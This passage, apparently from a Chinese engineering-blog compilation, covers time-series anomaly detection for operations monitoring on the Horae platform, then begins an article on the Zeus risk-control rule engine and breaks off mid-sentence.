的实践 [7]，我们用 CNN（卷积神经网络）实现了一个分类器，该分类器在时

序数据分类上表现优秀，准确率能达到 95% 以上。CNN 在训练中会逐层学

习时序数据的特征，不需要成本昂贵的特征工程，大大减少了特征设计的工

作量。

3.2.2	分类流程

我们选择 CNN 分类器进行时序数据分类，分类过程如下图 6 所示，主要步骤如下：

图 6　时序数据分类处理流程

1. 缺失值填充：时序数据存在少量数据丢失或者部分时段无数据等现象，因此在

分类前先对数据先进行缺失值填充。
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2. 标准化：本文采用方差标准化对时序数据进行处理。

3. 降维处理：按分钟粒度的话，一天有 1440 个点，为了减少计算量，我们进行

降维处理到 144 个点。PCA、PAA、SAX 等一系列方法是常用的降维方法，

此类方法在降低数据维度的同时还能最大程度地保持数据的特征。通过比较，

PAA 在降到同样的维度（144 维）时，还能保留更多的时序数据细节，具体

对比如下图 7 所示。

4. 模型训练：使用标注的样本数据，在 CNN 分类器中进行训练，最终输出分类

模型。

图 7　PAA、SAX 降维方法对比

3.3	周期型指标异常检测

3.3.1	异常检测方法

基于上述时序数据分类工作，本文能够相对准确地将时序数据分为周期型、平稳型和

无规律波动型三类。在这三种类型中，周期型最为常见，占比 30% 以上，并且包含

了大多数业务指标，业务请求量、订单数等核心指标均为周期型，所以本文优先选择

周期型指标进行自动异常检测的探索。对于大量的时序数据，通过规则进行判断已经

不能满足，需要通用的解决方案，能对所有周期型指标进行异常检测，而非一个指标

一套完全独立的策略，机器学习方法是首选。

论文 Opprentice[8] 和腾讯开源的 Metis[9] 采用监督学习的方式进行异常检测，其做

法如下：首先，进行样本标注得到样本数据集，然后进行特征提取得到特征数据集，

使用特征数据集在指定的学习系统上进行训练，得到异常分类模型，最后把模型用于

实时检测。监督学习整体思路 [10] 如下图 8 所示，其中 (x1,y1),(x2,y2),…,(xn,yn) 是

训练数据集，学习系统由训练数据学习一个分类器 P(Y ∣ X) 或 Y=f(X)，分类系统通

过学习到的分类器对新的输入实例 xn+1 进行分类，预测其输出的类别 yn+1。
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图 8　监督学习在分类问题中的应用

3.3.2	异常注入

一般而言，在样本数据集中，正负样本比例如果极度不均衡（比如 1:5，或者更悬

殊），那么分类器分类时就会倾向于高比例的那一类样本（假如负样本占较大比例，则

会表现为负样本 Recall 过高，正样本 Recall 低，而整体的 Accuracy 依然会有比

较好的表现），在一个极度不均衡的样本集中，由于机器学习会对每个数据进行学习，

那么多数数据样本带有的信息量就比少数样本信息量大，会对分类器学习过程中造成

干扰，导致分类不准确。

在实际生产环境中，时序数据异常点是非常少见的，99% 以上的数据都是正常的。

如果使用真实生产环境的数据进行样本标注，将会导致正负样本比例严重失衡，导致

精召率无法满足要求。为了解决基于监督学习的异常检测异常点过少的问题，本文设

计一种针对周期型指标的自动异常注入算法，保证异常注入足够随机且包含各种异常

场景。

时序数据的异常分为两种基本类型，异常上涨和异常下跌，如下图 9（图中数据使用

Curve[11] 标注），通常异常会持续一段时间，然后逐步恢复，恢复过程或快或慢，影

响异常两侧的值，称之为涟漪效应（Ripple Effect），类似石头落入水中，波纹扩散的

情形。受到该场景的启发，异常注入思路及步骤如下：
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图 9　异常 case 中异常数据分布

1. 给定一段时序值 S，确定注入的异常个数 N，将时序数据划分为 N 块。

2. 在其中的一个区域 X 中，随机选定一个点 Xi 作为异常种子点。

3. 设定异常点数目范围，基于此范围产生随机出异常点数 n，异常点随机分布在

异常种子两侧，左侧和右侧的数目随机产生。

4. 对于具体的异常点，根据其所在位置，选择该点邻域范围数据作为参考数据

集 m，需要邻域在设定的范围内随机产生。

5. 产生一个随机数，若为奇数，则为上涨，否则下跌。基于参考数据集 m，根

据 3Sigma 原理，生成超出 ±3σ 的数据作为异常值。

6. 设定一个影响范围，在设定范围内随机产生影响的范围大小，左右两侧的影

响范围也随机分配，同时随机产生异常衰减的方式，包括简单移动平均、加

权移动平均、指数加权移动平均三种方式。

7. 上述过程只涉及突增突降场景，而对于同时存在升降的场景，通过分别生成

上涨和下跌的上述两个异常，然后叠加在一起即可。

通过上面的异常注入步骤，能比较好地模拟出周期型指标在生产环境中的各种异常场

景，上述过程中各个步骤的数据都是随机产生，所以产生的异常案例各不相同，从而

能为我们生产出足够多的异常样本。为了保证样本集的高准确性，我们对于注入异常

后的指标数据还会进行标注，以去除部分注入的非异常数据。具体异常数据生成效果

如图 10 所示，其中蓝色线为原始数据，红色线为注入的异常，可以看出注入异常与

线上环境发生故障时相似，注入的异常随机性较大。
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图 10　异常注入效果图

3.3.3	特征工程

针对周期型指标，经标注产生样本数据集后，需要设计特征提取器进行特征提取，

Opprentice 中设计的几种特征提取器如图 11 所示：

图 11　论文 Opprentice 特征提取器
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上述特征主要是一些简单的检测器，包括如固定阈值、差分、移动平均、SVD 分解

等。Metis 将其分为三种特征，一是统计特征，包括方差、均值、偏度等统计学特

征；二是拟合特征，包括如移动平均、指数加权移动平均等特征；三是分类特征，包

含一些自相关性、互相关性等特征。参考上述提及的特征提取方法，本文设计了一套

特征工程，区别于上述特征提取方法，本文对提取的结果用孤立森林进行了一层特征

抽象，使得模型的泛化能力更强，所选择的特征及说明如下图 12 所示：

图 12　特征选择及说明

3.3.4	模型训练及实时检测

参考监督学习在分类问题中的应用思路，对周期型指标自动异常检测方案具体设计如

图下 13 所示，主要分为离线模型训练和实时检测两大部分，模型训练主要根据样本

数据集训练生成分类模型，实时检测利用分类模型进行实时异常检测。具体过程说明

如下：

1. 离线模型训练：基于标注的样本数据集，使用设计的特征提取器进行特征提

取，生成特征数据集，通过 Xgboost 进行训练，得到分类模型，并存储。

2. 实时检测：线上实时检测时，时序数据先经过预检测（降低进入特征提取环节

概率，减少计算压力），然后根据设计的特征工程进行特征提取，再加载离线

训练好的模型，进行异常分类。

3. 数据反馈：如果判定为异常，将发出告警。进一步地，用户可根据实际情况对
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告警进行反馈，反馈结果将加入样本数据集中，用于定时更新检测模型。

图 13　模型检测和实时检测流说明

3.3.5	特殊场景优化

通过上述实践，本文得到一套可完整运行的周期型指标异常检测系统，在该系统应用

到生产环境的过程中，也遇到不少问题，比如低峰期（小数值）波动幅度较大，节假

日和周末趋势和工作日趋势完全不同，数据存在整体大幅抬升或下降，部分规律波动

时间轴上存在偏移，这些情况都有可能产生误告。本文也针对这些场景，分别提出对

应的优化策略，从而减少周期型指标在这些场景下的误告，提高异常检测的精召率。

1）低峰期场景：低峰期主要表现是小数值高波动，低峰期的波动比较普遍，但是常规

检测时，只获取当前点前后 7min 的邻域内的数据，可能无法获取到本身已经出现过

多次的较大波动，导致误判为异常。所以对于低峰期，需要扩大比较窗口，容纳到更

多的正常的较大波动场景，从而减少被误判。如下图 14 所示，红色是当日数据，灰

色是上周同日数据，如果判断窗口为 w1，w1 内蓝色点有可能被认为是异常点，而时

间窗口范围扩大到 w2 后，大幅波动的蓝色点和绿色点都会被捕获到，出现类似大幅

波动时不再被判定为异常，至于低峰期范围可以通过历史数据计算进行识别。
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图 14　低峰期时不同时段的相似大幅波动

2）节假日场景：节假日前一天以及节假日之后一周的数据，和正常周期的趋势都会有

较大差别，可能会出现误告。本文通过提前配置需要进行节假日检测的日期，在设置

的日期范围内，除了进行正常的检测流程，对于已经检测出异常的数据点，会再进入

到节假日检测流程，都异常才会触发告警。节假日检测会取最近 1h 的数据，分别计

算其波动比、周同比、日环比等数据，当前时间的这些指标通过“孤立森林”判断都

为异常，才会认为数据是真正异常。除此之外，对于节假日，模型的敏感度会适当调

低以适应节假日场景。

3）整体抬升 / 下降场景：场景特点如下图 15 所示，在该场景下，会设置一个抬升 /

下跌率，比如 80%，如果今天最近 1h 数据 80% 相对昨日和上周都上涨，则认为是

整体抬升，都下跌则认为是整体下降。如果出现整体抬升情况，会降低模型敏感度，

并且要求当前日环比、周同比在 1h 数据中均为异常点，才会判定当前的数据异常。
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图 15　整体抬升下降场景

4）规律波动偏移场景：部分指标存在周期性波动，但是时间上会有所偏移，如图 16

所示案例中时序数据由于波动时间偏移导致误告。本文设计一种相似序列识别算法，

在历史数据中找出波动相似的序列，如果存在足够多的相似波动序列，则认为该波

动为正常波动。相似序列提取过程如下：最近 n 分钟的时序作为基础序列 x，获取检

测时刻历史 14 天邻域内的数据（如前后 30min），在邻域数据中指定滑动窗口（如

3min）滑动，把邻域数据分为多个长度为 n 的序列集 Y，计算基础序列 x 与 Y 中每

个序列的 DTW 距离，通过“孤立森林”对距离序列进行异常判断，对于被判定为异

常值的 DTW 距离，它所对应的序列将被视为相似序列。如果相似序列个数超出设定

阈值，则认为当前波动为规律偏移波动，属于正常现象。根据上述方法，提取到对应

的相似序列如图 16 右边所示，其中红实线为基础序列。
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图 16　规律波动偏移相似序列提取

3.4	异常检测能力平台化

为了把上述时序数据异常检测探索的结果进行落地，服务运维部与交易系统平台部设

计和开发了时序数据异常检测系统 Horae。Horae 致力于时间序列异常检测流程的

编排与调优，处理对象是时序数据，输出是检测流程和检测结果，核心算法是异常检

测算法、时间序列预测算法以及针对时间序列的特征提取算法。除此之外，Horae 还

会针对特殊的场景开发异常检测算法。Horae 核心能力是可根据提供的算法，编排

不同的检测流程，对指标进行自动分类，并针对指标所属类型自动选择合适的检测流

程，进行流程调优得到该指标下的最优参数，从而确保能适配指标并得到更高的精召

率，为各个对时序数据异常检测有需求的团队提供高准确率的异常检测服务。

3.4.1	Horae 系统架构设计

Horae 系统由四个模块组成：数据接入、实时检测、实验模块和算法模块。用户通过

数据接入模块注册需要监听时序数据的消息队列，Horae 系统将监听注册的 Topic

采集时序数据，并根据粒度（例如分钟、小时或天）更新每个时间序列，每个时序点

都存储到时序数据库中，实时检测模块对每个时序点执行异常检测，当检测到异常

时，通过消息队列将异常信息传输给用户。下图 17 详细展示了 Horae 系统的整体架

构图。
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1. 数据接入：用户可以通过创建数据源用于数据上报，数据源可以包含一个或多

个指标，指标更新频率最小为一分钟。不同数据源中指标的时序数据相互隔

离，时序数据更新到使用 Elasticsearch 改造后的时序数据库中。

2. 实时检测：采集到实时的时序数据后，会根据指标绑定的执行流程立即进行异

常检测，如果没有训练调优，会先执行训练调优以保证更佳的精召率。实时

检测的结果会通过消息队列通知到用户，用户根据异常检测的结果进行进一

步处理判断是否需要发出告警。

3. 实验模块：该模块主要功能是样本管理、算法注册、流程编排、模型训练和评

估、模型发布。该模块提供样本管理功能，可对样本进行标注和存储；对于已

经实现的算法，可以注册到系统中，供流程编排使用；通过算法编排得到的流

程，可以用在模型训练或者异常检测中；训练流程会使用到标注好的样本数据

调用算法离线服务进行离线训练并存储模型；对于已经编排好的检测流程，可

以对指标进行模拟观察检测异常检测效果，或者离线回归判断检测流程在该

指标上的具体精召率数据。

4. 算法模块：算法模块提供了所有在实验模块注册的异常检测算法的具体实现，

算法模块既可以执行单个算法，也可以接受多个算法编排的流程进行执行。当

前支持的算法大类主要有预处理算法（异常值去除、空值填充、降维、归一化

等），时序特征算法（统计类特征、拟合特征、分类特征等），机器学习类算法

（RF、SVM、XGBoost、GRU、LSTM、CNN、聚类算法等），检测类算法

（孤立森林、LOF、SVM、3Sigma、四分位、IQR 等），预测类算法（Ewma、

Linear Weighted MA、Holt-Winters、STL、SAIMAX、Prophet 等），自

定义算法（形变分析、同环比、波动比等）。
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图 17　Horae 时序数据异常检测系统架构图

3.4.2	算法注册和模型编排

算法模型是对算法的抽象，通过唯一字符串标识算法模型，注册算法时需要指定算法

的类型、接口、参数、返回值和处理单个时序点所需要加载的时序数据配置。成功注

册的算法模型根据算法类型的不同，会生成用于模型编排的算法组件或对异常检测

模型进行训练的组件。用于模型编排的算法组件主要包括：预处理算法、时序特征算

法、评估算法、预测算法、分类算法、异常检测算法等，用于模型训练的算法分为两

大类：参数调优和机器学习模型训练。

注册后的算法模型通常不会直接用于异常检测，会对算法模型进行编排后得到一个流

程模型，流程模型可以用于执行异常检测或者执行训练。实验模块支持两种类型的流

程模型：执行流程和训练流程。执行流程是一个异常检测流程，指定指标和检测时间

段，得到检测时间段每个时序点的异常分值；训练流程是一个执行训练的流程模型，

主要包括参数调优训练流程和机器学习模型训练流程。使用算法进行流程编排如下图

18 所示，左侧菜单为算法组件，中间区域可对算法执行流程进行编排调整，右侧区

域是具体算法的参数设置。
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图 18　流程编排示意图

3.4.3	离线训练和实时检测

在模型编排阶段，可编排执行流程和训练流程，执行流程主要用在指标实时异常检测

过程，而训练流程主要用在离线模型训练和参数调优。执行流程由流程配置和异常分

值配置构成，由实验模块的流程调度引擎负责执行调度，下图 19 展示了执行流程的

详细构成。流程调度引擎在对执行流程调度执行之前，会从流程的最深叶子节点的算

法组件开始递归计算需要加载的时序数据集，根据流程中算法组件的参数配置，加载

前置训练流程的训练结果，最后对流程中的算法组件依次调度执行，得到检测时间段

每个时序点的异常分值。最终实现后的执行流程编排如图 18 所示。

图 19　执行流程组成和处理过程
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训练流程由流程配置、训练算法、样本加载配置和训练频次等信息构成，由实验模块

的流程调度引擎负责调度执行，下图 20 展示了训练流程的详细构成。训练流程主要

分为两大类，参数调优训练和机器学习模型训练。参数调优训练是指为需要调优的参

数设置参数值迭代范围或者枚举值，通过贝叶斯调优算法对参数进行调优，得到最优

参数组合；机器学习模型训练则通过设计好特征工程，设置分类器和超参数范围后调

优得到机器学习模型文件。训练流程执行训练的样本集来源于人工标注的样本或者基

于自动样本构造功能生成的样本。训练流程编排具体过程和执行流程类似，不同的是

训练流程可设置定时任务执行，训练的结果会存储供后续使用。

图 20　训练流程组成和处理过程

异常检测模型中会包含很多凭借经验设定的超参数，不同的指标可能需要设置不同的

参数值，保证更高的精召率。而指标数据会随着时间发生变化，设置参数需要定期的

训练和更新，在实验模块中可以为训练流程设置定时任务，实验模块会定时调度训练

流程生成离线训练任务，训练任务执行完成可以看到训练结果和效果。下图 21 示例

展示了一个参数调优训练流程的示例。



运维 / 安全　<　1043

图 21　参数调优训练结果示例

3.4.4	模型案例和结果评估

根据在周期型指标上探索的结果，在 Horae 上编排分类模型训练流程，训练和测

试所使用的样本数是 28000 个，其中用于训练的比例是 75%，用于验证的比例是

25%，具体分类模型训练结果如下图 22 所示，在测试集上的准确率 94%，召回率

89%。同时编排了与之对应的执行流程，它的检测流程除了异常分类，还主要包含了

空值填充、预检测、特征提取、分类判断、低峰期判断、偏移波动判断等逻辑，该执

行流程适用范围是周期型和稳定型指标。除此之外，还提供了流程调优能力，检测流

程中的每个算法可以暴露其超参数，对于具体的指标，通过该指标的样本数据可以训

练得到该流程下的一组较优超参数，从而提高该指标的异常检测的精召率。
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图 22　异常分类模型训练结果

该异常检测流程应用到生产环境的指标后，具体检测效果相关案例如下图 23 所示，

对于周期型指标，能及时准确地发现异常，对异常点进行反馈，准确率达到 90% 以

上。除此之外，还对比了形变分析异常检测，对于生产环境中遇到的三个形变分析无

法发现的 4 个案例，周期型指标异常检测流程能发现其中 3 个，表现优于形变分析。

图 23　周期型指标异常检测模型生产环境检测结果

四、总结与展望

时序数据异常检测作为 AIOps 中故障发现环节的核心，当前经过探索和实践，已经
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在周期型指标异常检测上取得了一定的成绩，并落地到 Horae 时序异常检测系统中。

在时序数据异常检测部分，后续会陆续实现平稳型、无规律波动型指标自动异常检

测，增加指标数据预测相关能力，提高检测性能，从而实现所有类型的海量指标自动

异常检测的目的。

除此之外，在告警触达方面，我们当前在进行告警收敛、降噪和抑制相关的规则和算

法的探索，致力于提供精简有效的信息，减少告警风暴及干扰；在故障定位方面，我

们已经基于规则在定位上取得比较不错的效果，后续还会进行更全面的定位场景覆盖

和关联性分析、根因分析、知识图谱相关的探索，通过算法和规则提升故障定位的精

召率。因篇幅所限，告警触达（告警中心）和故障定位（雷达）两部分内容将会在后续

的文章中详细进行分享，敬请期待。
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复杂风控场景下，如何打造一款高效的规则引擎

作者：思思

｜在互联网时代，安全已经成为企业的命脉。美团信息安全团队需要采用各种措施和

手段来保障业务安全，从而确保美团平台上的用户和商户利益不会受到侵害。

本文主要介绍了美团在打造自有规则引擎 Zeus（中文名“宙斯”）的过程中，信息安

全团队遇到的挑战以及对应的解决方案，并分享了很多踩过的坑，同时还有一些思考

和总结。希望对从事安全领域相关工作的同学能够有所启发或者帮助。

背景

美团 App 每天都面临着各类的欺诈、盗号、作弊、套现以及营销活动被恶意刷单、

恶意抢占资源等风险。而业务安全团队采用的主要措施和手段就是在业务请求中识别

出谁、在什么时间、通过什么方式、做了什么事。这个识别逻辑的制定过程叫做策略

的生产。同时，还要对已经完成生产的策略进行快速的验证和落地，以防止风险变化

后策略失效。从发现风险经过策略生产、验证，再到最终的落地部署，全流程的处理

速度和效果将决定整个业务的成败。

在业务发展初期，我们可以通过硬编码的方式将风控逻辑部署在业务逻辑中实现，

但美团的业务比较复杂，从最初的团购形式，经过与大众点评、摩拜、猫眼等业务

的融合，发展到涵盖餐饮、到店、猫眼、外卖、金融、酒店、旅游、大交通等多个

垂直领域。随着业务的快速发展，适用于初期的硬编码方式出现了策略分散无法管

理、逻辑同业务强耦合、策略更新迭代率受限于开发、对接成本高等多种问题。此

时，我们需要有一套可配置化的规则管理平台，进而实现风控策略与业务解耦、快

速部署、验证。

但规则引擎的建设初期，会面临着各种困难和挑战，主要包括以下几个方面：
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 ● 在业务层面：垂直领域多，包含几乎所有的吃喝玩乐服务。美团细分业务多达

百个。服务用户角色多（用户、商户、供应商、渠道商），交易频率高，日订单

量大。

 ● 在风险层面：存在用户作弊、商家刷单、账号盗用冒用、支付和信贷等多种

风险。

 ● 在企业外部环境层面：黑产已形成自下而上的产业链，攻击方式升级比较快速。

针对以上这些挑战，我们打造了自有的规则引擎 Zeus（中文“宙斯”，来源于“宙斯

盾”作战系统的启发，期望规则引擎平台能同“宙斯盾”一样成为先进的中央作战决

策系统，实现对风险的精准、高效打击）。

下面，我们就来具体介绍一下，美团信息安全团队在系统构建过程中面临的挑战以及

对应的解决方案。

挑战与方案

1.	业务多 -接入成本高

规则引擎最早只是业务系统中的一个函数，逐步演化成了独立的服务。而这个独立服

务与业务后台的交互是单点方式，即业务后台在关键动作节点前调用规则引擎，判断
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“有没有风险”。但这样每次新增加一个业务或新出现一个风险场景时，规则引擎和业

务都要重新进行对接联调。频繁地调整给上下游团队都带来了不小的负担，而且在频

繁的更改中，系统质量也难以保证。如何便捷、快速地实现业务接入是系统设计的核

心目标之一。

在接入成本上，一次性集中接入往往是最便捷的方式。因此我们选择在每个业务都会

通用节点接入规则引擎，例如：用户中心、商户中心、订单中心、收银台等均为各类

业务的通用节点，规则引擎同这些通用节点对接，业务在调用通用节点时，通用节点

调用规则引擎即可完成业务的接入。

随着美团业务和场景种类的增多，现在也存在不经过通用节点的业务。因此，我们需

要提供通用的接入接口，目前业务侧直接调用一个独立服务接口即可获得风控判断。

2.	风险点多 -逻辑复杂、逻辑复用

风险点多且业务多，进一步增加了场景、策略逻辑的复杂度。表达式语言可支持的

逻辑计算范围有限，复杂的逻辑若仍通过硬编码实现，会存在效率低、不易复用等

问题。

受模块化思维启发，我们将复杂的逻辑封装成模版，实现配置化，并支持逻辑复用。

这样就大大提升了规则引擎可实现的逻辑范围。目前，我们已经建设的几类常用的封

装逻辑如下：

1. 扩展函数：主要用于数据格式的提取和处理，比如字符串、数组等格式转换、

数据提取等。通过扩展函数功能，对业务侧数据格式要求大大降低，也降低

了业务侧数据处理的负担。

2. 累计因子：在业务中会高频使用到与累计相关的逻辑。例如，在登陆、下单、
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支付等事件需要同 IP 的 UserID 进行计数计算，计算结果作为特征引用在规

则中。规则引擎引入了内部研发的高效事件计数服务，实现累计通用逻辑的

封装，比如支持累计周期、计数 / 求和 / 最近几次、累计值等计算逻辑配置化

等等。

3. 决策表因子：部分业务中需要引擎处理的判断条件较多，各条件又相互组合，

存在多种决策方案的情况，这就需要用精确、简洁的方式来描述这类复杂逻

辑。在低频使用时，我们可以通过硬编码的 case-when、if-else 等语句实

现，但在实时性和配置化上不尽人意。最终，我们通过决策表将多个独立的

条件和多个动作直接地联系、清晰地表示出来，并实现了逻辑的封装。

4. 名单库因子：与名单库联动过程中，将查询名单的逻辑进行封装。

5. 工具因子：将一堆规则进行打包形成大的逻辑集合，并对组成的规则设置评

分。在执行时输出评分结果并实现跨场景、跨业务应用，同时将大逻辑进行

“黑盒”处理，简化逻辑复用时的配置、沟通成本。

风险点多的另一个挑战点是在多业务中会存在同质性，即制定的风险策略是可复用

的。当一百条规则需要复用在几十个场景中，逐个配置的效率太低，不仅一致性难以

保障，后续的修改也是问题。同时又衍变出部分复用、部分差异化，让业务直接复用

场景行不通。因此，我们引入【规则组】的概念，将规则聚类管理。比如众包识别规

则组、虚假设备规则组、涉黄内容识别规则组等。业务在应用时，可在自己的场景中

进行差异化的应用。

3.	风险变化快、长期对抗-效果验证速度

当外部风险变化时，风控的对抗也需要及时响应，这是一个争夺“主导权”的比赛。

风控通过对不同阶段的组合打击，实现策略的健壮性，包括用于识别有没有风险的基

础对抗阶段、引导节奏混淆视听的“短平快”阶段、诱敌深入的“高精尖”阶段。对

应系统需要支持不同阶段的策略配置、迭代和验证需求。而在策略迭代和部署阶段，

需要特别注意因配置错误导致的误命中问题。
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参考开发环境分类：测试环境、预发布环境和生产环境。规则引擎在规则的部署和迭

代上，可通过标记、双跑和回溯功能，我们通过应用实时线上流量和历史数据来验证

策略的有效性。

 ● 标记：规则在场景中的状态，标记状态的规则逻辑将灰度执行，即：与生效规

则类似会实时执行，但决策信息不实时返回给上游业务方，不影响决策。同时

用户可在实时日志查询中查看标记规则的命中情况。

 ● 双跑：规则在场景中的状态，双跑状态的规则逻辑将灰度执行，但仅会出现在

修改生效规则、因子（因子修改导致引用规则的逻辑执行变化）时，才会存在

的状态。

 ● 回溯：规则在场景中的状态，回溯状态的规则逻辑将灰度执行，但仅使用回放

的历史数据。

通过这些功能，可以降低策略迭代的风险，缩短策略部署上线的时间周期。

思路总结

在确认清楚挑战和解决方案之后，规则引擎的整体建设思路就已经形成了。现今，

规则引擎随着业务的快速扩张，由一个内部系统逐渐发展为服务多个风控团队的公

共平台。

从初期主要围绕风控防控痛点进行搭建的表达式服务包，升级到配置化平台，在配置

效率和执行效率也得到了很大的提升。同时，随着人工智能技术的应用和风控对抗进

入白热化，规则引擎也将从配置化快速迭代至自动化、智能化。
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1.	确定核心快速论证、快速落地

在系统建设中，进行了充分的论证后就需要快速落地，避免因长项目周期需求发生裂

变而导致不可控。在初期，我们已经建立了 aviator 表达式服务包并稳定服务。因此，

配置化平台搭建时仍基于表达式语言，引入场景、规则、因子、决策等概念搭建，将

策略的执行分为执行层和计算层。

执行层：通过场景获得一堆规则集合，规则执行完成后将其结果和对应的决策返回。
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结果和：在规则执行时会进行其构成因子计算。

2.	根据角色，进行定向提效

规则引擎搭建的初衷之一是提升风控对抗的整体效率。在对抗过程中，我们需要各种

角色配合，例如开发建设系统、策略制定者、策略使用者和风险用户等，因此需要针

对各类角色定向开展提效工作。

（1）风险用户处理提效（风险用户）

业务已经可以实时获得风控的决策，但发现风险用户会在很多场景下重复攻击。对这

类用户的处理，除了对当次行为阻断，还要阻断其未来的行为，因此就有名单管理的

诉求。我们通过与名单库的联动，提升该类用户的处理效率。

例如：在美团金融项目场景下，严重逾期的用户会加入禁贷名单，再次申贷时取消其

贷款资格。

（2）业务接入提效（业务方）

除了上面介绍的统一接入外，还有一种常见的情况：业务无法在发起请求时就将执行

所需要的全部参数准备好，此时就需要引擎能主动获取外部数据。针对这类情况，规

则引擎通过数据接口的方式实现了外部数据的补充，在策略执行时根据计算需要动态

获取相关的参数。在实现与外部数据联动的功能后，大大降低了使用规则引擎业务方

数据准备阶段的压力，从全部参数准备简化为仅提供核心参数即可，剩余参数按需引

擎自行调度即可。
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（3）策略管理提效（产品）

策略产品是规则引擎的主要用户，主要的工作流程是围绕策略管理、分析、验证进行

提效。如何管理大量的规则和应用场景？怎样快速验证策略有效性、评估误伤率？客

诉反馈问题，如何快速还原规则命中情况？针对这些维度，我们分别提供不同的产品

功能进行提效。

 ● 在策略管理层面，可通过规则组方式、因子工具等，进行同类规则集合的管

理、打包和复用。

 ● 在规则分析层面，可通过实时查询规则的执行详细数据和将规则执行流程进行

回放提升分析效率。

 ● 在策略验证层面，提供标记、双跑和回溯提升策略验证速度。

（4）工程效率提效（工程师）

复杂的逻辑且具有通用性就可以对特征逻辑封装，避免工程师重复进行逻辑开发工

作，释放出的开发资源可以进行其它维度的提效。

（5）算法 / 模型接入提效（算法工程师）

当对抗升级时，策略的产生者由人变为算法 / 模型。而机器的生产效率远远高于人，

人工搬运算法 / 模型会成为迭代效率的瓶颈，怎样跟算法、模型平台进行快速联动

呢？最简单、快速的方式就是使用引擎提供的外部数据联动方式，将模型结果包装成

数据接口使用。但在实践过程中，我们发现模型的出入参数较多且存在变化，整体的

配置化效率低，模型应用和迭代频率受限制。公司内部提供的深度学习还是算法工程

平台，目前主攻计算、训练等场景，在上下游应用提供标准化的数据产出，但无法同
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类似引擎的平台对接。

因此，仅聚焦在引擎与算法平台的联动上，可通过建设调度模块实现：1. 训练样本

预处理 –>2. 算法平台对接 –>3. 自动化生成接口 –>4. 自动注册接口 / 策略至引

擎 –>5. 评估任务启动 –>6. 评估结果处理（策略上下线、样本数据沉淀）–>1. 训

练样本预处理的闭环流程。

3.	发现问题、横向扩展、兼容更多场景

随着引擎在多业务场景的应用，我们发现几个实时引擎不好处理的场景。比如拉新场

景，需要结合“注册 + 登陆 + 交易”等多种行为来判断是否有“薅羊毛”等黑灰产行

为，需要将很多事件放到一起去综合判定。当发现风险时，或在当前时间点漏过的变

异风险在发现之后，需要对历史数据进行回捞，这些在实时引擎中都不太好实现。当

前已有的异步引擎也无法很好地进行覆盖。为了避免做“重复造轮子”的事情，团队

充分地讨论了实时、异步和离线引擎的定位和服务边界。
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在实时引擎已经覆盖的逻辑基础上，我们引入新的封装逻辑 - 个体因子，全局因子实

现 SQL 语句的配置化管理，进而实现批量累计、聚合特征的计算，比如：近一年某

商家的平均下单金额，近 30 天商户大盘下单均值，标准差等批数据的复杂逻辑。并

基于 Spark 和实时引擎底层，实现多流和批数据的处理，解决上述场景无法处理的

一些问题。

4.	业务实践结果

交易安全

策略产品在日常工作中，通过对业务分析发现风险、挖掘风险特征并应用在策略中。通

过 Zeus 实现策略的部署和应用，大大降低了业务风险，提升风险防控效率。例如：在

某业务地推场景中发现 B、C 端联合刷单风险，以返利、送赠品收到诱骗下单。
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金融安全

金融风控主要有反欺诈和信用安全。反欺诈同业务安全在策略形态上相同，都是判断

有无风险，在决策结果上是通过和拒绝。因此，通过普通决策即可满足业务需求。

但信用安全会比前两者复杂一些，在决策上，除了通过和拒绝外，对于通过的请求要

进行分层实现金融的差异化定价。因此，需要在规则引擎中引入更多功能，来满足业

务需求。主要包括：

 ● 路由场景：可支持多层，决策流模式，即一堆规则的集合，支持按照逻辑进行

分流，满足指定条件可以指定走向在每个节点进行条件设置，实现最终流向。

例如：对于某分期场景用户申请一笔贷款，需要经过欺诈识别、信用评估后方

可给出最终的额度、定价。

 ● 决策衍生参数：适用于复杂的多级路由决策场景 Key-Value 型数据，在决策

中指定衍生参数信息从而在路由场景中产生全局传递变量，比如：流转过不同

的场景需要将用户进行等级分类。

 ● 决策附加信息：适用于复杂决策场景 Key-Value 型数据，在决策中指定附加

信息从而实现更多决策信息的计算及返回，比如：加入风控名单库，加入什么

风险类型、风险等级、名单类型。
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未来发展与思考

目前规则引擎正处于配置化阶段，正在向自动化、智能化的阶段发展，从而不断提升

策略的管理和迭代的速度。但业务间的智能化诉求和进程不同，平台可以提供更多集

成托管服务，从而提升各业务的智能化覆盖度。

其次，引擎仍然存在无法处理的几个问题：

一些长时间周期特征无法快速应用的问题，例如近一年的时间周期。如何将离线引擎

和实时引擎在特征计算上组合，实现特征的快速生产、验证和应用，从而扩展引擎的

计算能力范围、提升风控业务的对抗效率。

当前引擎的接入对非复杂逻辑需求的业务就比较重。而接入成本是各业务接入时重点

评估的因素，如何实现快速、低成本的业务接入（包括技术接入和人员操作接入），考

虑提供模块化的引擎计算服务能力适用于各类业务诉求，实现按需接入，比较“臃

肿”的全局接入会更快速和便捷。但这种在引擎侧怎样更好地管理这些模块，也是一

个挑战。
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最后，业务流量和策略的增长速度仍在高速增长，引擎的稳定性和策略管理效率也需

要持续提升。

踩过的坑

1.	如何实现产品功能高聚合架构上低耦合

规则引擎建设时兼容各类业务场景，具备了极高的灵活性，同时自身也相对复杂。从

顶层的路由场景到底层的参数（路由场景 - 场景 - 规则组 - 规则 - 决策 - 因子 - 参

数 - 数据接口 - 参数）每一个节点、节点间都是由用户配置的，在产品上期望用户

的操作流程是连贯的，在一个操作流程中解决尽量多的问题。系统架构上，包括配置

层、执行层、计算层、数据获取层等，各层之间相互依赖，对最终引擎的输出结果负

责，底层上需要尽量的解耦合，才将降低单模块对引擎的影响。但在实践中，随着业

务诉求的增多，慢慢就出现来产品上的低耦合、架构上的高耦合情况。

例如：在用户修改生产策略时的强制更新流程优化项目中 ，就涉及了这个问题。在产

品功能上用户修改策略 –> 双版本策略并行执行 –> 两版本数据核验 –> 修改完成；

但在系统架构上，上述的产品流程就产生了系统架构高耦合，即生产修改双版本问

题，配置层、执行层、计算层高度耦合。项目一期上线后在性能上、后续功能扩展性

上都有瓶颈。随后，技术项目优化配置层的缓存模式，采用增量更新方式。产品功能

上增加用户进入修改模式后修改。重新立项后，实现了用户修改流程闭环、系统架构

上仅配置层兼容双版本，执行层和计算层无耦合。

因此，在产品功能设计上除了用户闭环操作外，还需要考虑是否低耦合。在技术优化

时需要前瞻性的开展去耦合项目。

2.	如何平衡系统复杂度与业务需求

随着接入业务的增多，又需要兼容新业务定制化需求，就面临这一个问题：定制化的

功能不具有通用性，大量定制功能将加重平台的复杂度。这个问题一直困扰引擎建

设团队。目前，我们采用的也许不是最优但比较有效的办法。主要通过定、判、看
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Gap，将业务需求转化为系统模块升级功能和非系统功能：

